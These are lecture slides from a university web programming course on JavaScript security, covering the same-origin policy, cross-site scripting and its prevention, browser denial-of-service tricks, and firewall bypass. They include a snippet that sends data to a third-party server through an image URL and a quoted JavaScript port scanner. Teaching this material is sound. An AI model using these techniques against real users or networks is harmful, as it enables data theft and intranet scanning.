Javascript Security, XSS, and Uncovered Topics. Pat Morin COMP 2405



Similar documents
Bug Report. Date: March 19, 2011 Reporter: Chris Jarabek

The Dark Side of Ajax. Jacob West Fortify Software

How To Understand The History Of The Web (Web)

A Server and Browser-Transparent CSRF Defense for Web 2.0 Applications. Slides by Connor Schnaith

SESSION IDENTIFIER ARE FOR NOW, PASSWORDS ARE FOREVER

3. Broken Account and Session Management. 4. Cross-Site Scripting (XSS) Flaws. Web browsers execute code sent from websites. Account Management

JOOMLA SECURITY. ireland website design. by Oliver Hummel. ADDRESS Unit 12D, Six Cross Roads Business Park, Waterford City

Project 2: Web Security Pitfalls

Web application security

Intrusion detection for web applications

Security features of ZK Framework

Is Drupal secure? A high-level perspective on web vulnerabilities, Drupal s solutions, and how to maintain site security

COMP 112 Assignment 1: HTTP Servers

Criteria for web application security check. Version

Creating Stronger, Safer, Web Facing Code. JPL IT Security Mary Rivera June 17, 2011

Integrated Network Vulnerability Scanning & Penetration Testing SAINTcorporation.com

OWASP and OWASP Top 10 (2007 Update) OWASP. The OWASP Foundation. Dave Wichers. The OWASP Foundation. OWASP Conferences Chair

Web Security School Final Exam

Ruby on Rails Secure Coding Recommendations

What is Web Security? Motivation

ArcGIS Server Security Threats & Best Practices David Cordes Michael Young

HtmlUnit: An Efficient Approach to Testing Web Applications

Getting Started with PRTG Network Monitor 2012 Paessler AG

Uploaded images filter evasion for carrying out XSS attacks

Pwning Intranets with HTML5

Internet Explorer turns your personal computer into a publicfile Server

A Tale of the Weaknesses of Current Client-Side XSS Filtering

JavaScript Security. John Graham Cumming

Web-Application Security

1. Introduction. 2. Web Application. 3. Components. 4. Common Vulnerabilities. 5. Improving security in Web applications

Application security testing: Protecting your application and data

Quick Start Guide. Installation and Setup

ECE 4893: Internetwork Security Lab 12: Web Security

5. At the Windows Component panel, select the Internet Information Services (IIS) checkbox, and then hit Next.

MatriXay WEB Application Vulnerability Scanner V Overview. (DAS- WEBScan ) The best WEB application assessment tool

Protect Your IT Infrastructure from Zero-Day Attacks and New Vulnerabilities

Introduction to Computer Security

Abusing Insecure Features of Internet Explorer

Application Security Testing. Erez Metula (CISSP), Founder Application Security Expert

Web Same-Origin-Policy Exploration Lab

REDCap General Security Overview

Detecting and Exploiting XSS with Xenotix XSS Exploit Framework

Acunetix Website Audit. 5 November, Developer Report. Generated by Acunetix WVS Reporter (v8.0 Build )

THE OPEN UNIVERSITY OF TANZANIA

Integrating Web Application Security into the IT Curriculum

Web Application Threats and Vulnerabilities Web Server Hacking and Web Application Vulnerability

Lesson 7 - Website Administration

External Vulnerability Assessment. -Technical Summary- ABC ORGANIZATION

Cyber Security Workshop Ethical Web Hacking

The Top Web Application Attacks: Are you vulnerable?

Application Design and Development

Spectrum Technology Platform

Web application security: Testing for vulnerabilities

Security Products Development. Leon Juranic

FileMaker Server 13. Getting Started Guide

Cross-Site Scripting

Web and Security 1 / 40

Web Application Security

Web Application Security

Regain Your Privacy on the Internet

Chapter 1 Web Application (In)security 1

Make a folder named Lab3. We will be using Unix redirection commands to create several output files in that folder.

(WAPT) Web Application Penetration Testing

AJAX. Gregorio López López Juan Francisco López Panea

Check list for web developers

Preface. Motivation for this Book

Attacks on Clients: Dynamic Content & XSS

Evading Infrastructure Security Mohamed Bedewi Penetration Testing Consultant

Web Application Security Assessment and Vulnerability Mitigation Tests

W3Perl A free logfile analyzer

LabVIEW Internet Toolkit User Guide

SysPatrol - Server Security Monitor

FileMaker Server 10. Getting Started Guide

A Tale of the Weaknesses of Current Client-side XSS Filtering

WordPress Security Scan Configuration

Magento Security and Vulnerabilities. Roman Stepanov

Web Security Testing Cookbook*

Site Monitor. Version 5.3

Easy Setup Guide for the Sony Network Camera

EVALUATING COMMERCIAL WEB APPLICATION SECURITY. By Aaron Parke

Web Application Firewall on SonicWALL SSL VPN

Web Application Worms & Browser Insecurity

MWR InfoSecurity Security Advisory. BT Home Hub SSID Script Injection Vulnerability. 10 th May Contents

WEB ATTACKS AND COUNTERMEASURES

Livezilla How to Install on Shared Hosting By: Jon Manning

N-CAP Users Guide Everything You Need to Know About Using the Internet! How Firewalls Work

FORBIDDEN - Ethical Hacking Workshop Duration

Last update: February 23, 2004

Finding and Preventing Cross- Site Request Forgery. Tom Gallagher Security Test Lead, Microsoft

Thomas Röthlisberger IT Security Analyst

Web Application Security

Web Application Vulnerability Testing with Nessus

E-Commerce for IT Advanced. Louis Aguila & Matt Burt

Finding Your Way in Testing Jungle. A Learning Approach to Web Security Testing.

CS 558 Internet Systems and Technologies

How To Test Your Web Site On Wapt On A Pc Or Mac Or Mac (Or Mac) On A Mac Or Ipad Or Ipa (Or Ipa) On Pc Or Ipam (Or Pc Or Pc) On An Ip

Transcription:

Javascript Security, XSS, and Uncovered Topics Pat Morin COMP 2405

Contents The Javascript same origin policy Cross-site scripting Pure Javascript exploits Other topics 2

The JavaScript Same Origin Policy JavaScript will only let a script access the properties of an object if it has the same origin as the script Origin = protocol + server + port number The following script won't work unless it is run from a page at http://www.google.com/ var w = window.open("http://www.google.com"); // After 10 seconds, let's see what URL // they're looking at! var snoopedurl; settimeout("snoopedurl = w.location.href()", 10 * 1000); 3

The Same Origin Policy (Cont'd) The same origin policy applies to almost everything in JavaScript (frames, windows, etc.) Exception: The origin of an externally-linked script is considered to be the origin of the document that links to it (think about why!) Problem: In a website with user accounts: a script in http://iap.scs.carleton.ca/~morin/ has access to anything from the server iap.scs.carleton.ca, including http://iap.scs.carleton.ca/~smartstudent/ 4

Cross-Site Scripting Cross-Site Scripting (XSS) is a security exploit that gets around the same origin policy Cross-Site Scripting is a potential risk whenever a script displays user input as an HTML page Main idea: The hacker (Hector) uploads data containing code to the server (samuel.com) Someone else (Bob) accesses samuel.com and looks at the Hector's uploaded data and code Hector's code is now running on Bob's computer with permission to look at anything from samuel.com 5

Typical Example of XSS Hector (the hacker) posts on a forum on samuel.com Hector's post includes some JavaScript code Bob visits the forum samuel.com and looks at Hector's post Hector's JavaScript is now running on Bob's computer and has access to Bob's cookies from samuel.com Bob's browser The information in any other pages that Bob has open on samuel.com Hector could even log Bob out of samuel.com and eavesdrop as he logs back in again 6

Preventing XSS Although XSS is done by an attacker, as a developer it is your fault for letting it happen Visitors to your site will blame you You may be giving away information that can be used to attack your site Luckily, XSS isn't too hard to avoid Whenever a script displays some input, it should convert all special characters to HTML entities Especially (but not only) the tag delimiter < and > $data =~ s/</\</gm; $data =~ s/>/\>/gm; 7

Why Is XSS Still a Problem? Because many web developers are inexperienced First time programming in PHP/Perl/Whatever First time writing a web application Now it's up and running and it works great I don't want to break it Because most testing is usability and bug testing, not security testing Because sometimes the XSS vulnerability is very subtle See the t-rex example 8

Pure Javascript Exploits Javascript is a programming language Users run Javascript on their own machines Sometimes programs don't do what users want or expect 9

JavaScript Bombs It is easy to mount a denial-of-service attack on a user's web browser using JavaScript It is easy to write JavaScript that makes a user's browser unusable Memory hogging CPU hogging Incessant alert boxes Too many popups Infinite recursion... Do this, and the user will never return to your site 10

JavaScript and Popups A simply (dirty) trick: Open a new window, make it as small as possible, and send it to the background (by focusing the current window) where the user can't see it Periodically, the hidden window will spawn a popup ad In some cases, the hidden window can even be moved off-screen 11

Chromeless Exploits Some implementations of JavaScript allows the opening of a browser window with no chrome that can be made (using an image) to look like any windowing system object Examples: Looks like system dialog box asking for password Looks like blank screen asking for password Looks like (and covers up) the browser's URL bar Looks like (and covers up) the security icon... 12

Same-Origin Workarounds The same-origin policy is supposed to prevent Javascript from sending data to third parties In an XMLHTTPRequest, the URL must come from the same domain But other Javascript functions don't have this limitation Javascript can load images from other sites Data can be encoded in the image's URL var img = new Image(); img.src = 'http://myserver.org/' + encodeurldata("secret message for server"); 13

Javascript Port Scanning The same-origin workaround allows for a simple port scanner Algorithm Set a timer Load an image Specific server Specific port If timer completes first then assume port is closed If load completes first then assume port is open This algorithm isn't completely accurate choice of timeout requires some tuning 14

Example (from AttackAPI) var timeout = (timeout == null)?100:timeout; var img = new Image(); // callbacks for when image is loaded or errors img.onerror = function () { if (!img) return; img = undefined; alert("port " + port + "is open"); }; img.onload = img.onerror; // now load the image in the background img.src = 'http://' + target + ':' + port; // now setup a timer settimeout(function () { if (!img) return; img = undefined; alert("port " + port + "is closed"); }, timeout); 15

Javascript Firewall Bypass Many organizations protect their computers behind a firewall Some services running on local machines are only available behind the firewall (to other local machines) Doing a port scan behind a firewall Client accesses a CGI script on a bad server Server sends back text/html with Javascript that includes the client's IP address Javascript (knows the client's IP) and does a port scan on the local network Javascript sends results back to the server using an XMLHTTPRequest or another image load 16

Javascript Firewall Bypass (Cont'd) Bypassing a firewall is especially bad Some firewalled applications are very insecure telnet uses unencrypted passwords finger get information about users in-house applications may not have been designed/implemented with network security in mind In some cases, network applications can be attacked using only Javascript 17

Uncovered Topics Javascript libraries Server-side scripting libraries Installing and configuring web servers 18

JavaScript Libraries JavaScript has some basic built-in libraries Many organizations are offering more sophisticated JavaScript libraries Pure JavaScript: Prototype, Rico, MochiKit, Dojo Toolkit, Bajax, Behaviour, Solvent, Moo.FX, WZ_DradDrop, WZ_jsGraphics, overlib, Scriptaculous, SACK, Sarissa (ECMAScript), Nifty Corners, dp.syntaxhighlighter, AJAX.NET, TOXIC, Plex Toolkit, Cpaint, DOM-Drag, Tibet, Zimbra, qooxdoo, AJFORM, ThyApi, Engine, AJAXGear Toolkit, Interactive Website Framework, RSLite, XHConn, Taconite, qforms, JSPkg, Ajaxcaller, libxmlrequest, SAJAX, Sardalya, X, AjaxRequest, moo.ajax 19

JavaScript Libraries (Cont'd) PHP-Based AJAX Frameworks: AjaxAC, XOAD, Zephyr, PAJAJ, Symfony, XAJAX, PEAR:: HTML_AJAX, Flexible AJAX JavaScript for Flash: FlashObject, OSFlash Flashjs, AFLAX Java-Based AJAX Frameworks: ZK, jwic Visit http://wiki.osafoundation.org/projects/ajaxli braries for more information. 20

Server-Side Scripting We have seen CGI/Perl as a means of doing server-side scripting There exists several other web application frameworks that include CGI libraries PHP (and accompanying libraries) JavaScript libraries AJAX frameworks Content management systems... Web search for "web application framework" 21

Server Configuration and Security Setting up a web server is easy Downloading and installing Apache Adjust firewall settings to allow access to port 80 Securing a server is harder 22

A Brief Justification Much of this course might have been easier using HTML editors PHP JavaScript libraries Server-side development libraries We didn't do this because These tools hide the details of how data is represented and how communication takes place Learning these details means we really understand the whole system (and similar systems) Now we can look at these tools without wonder We know how they do what they do All real breakthroughs start at the lowest level 23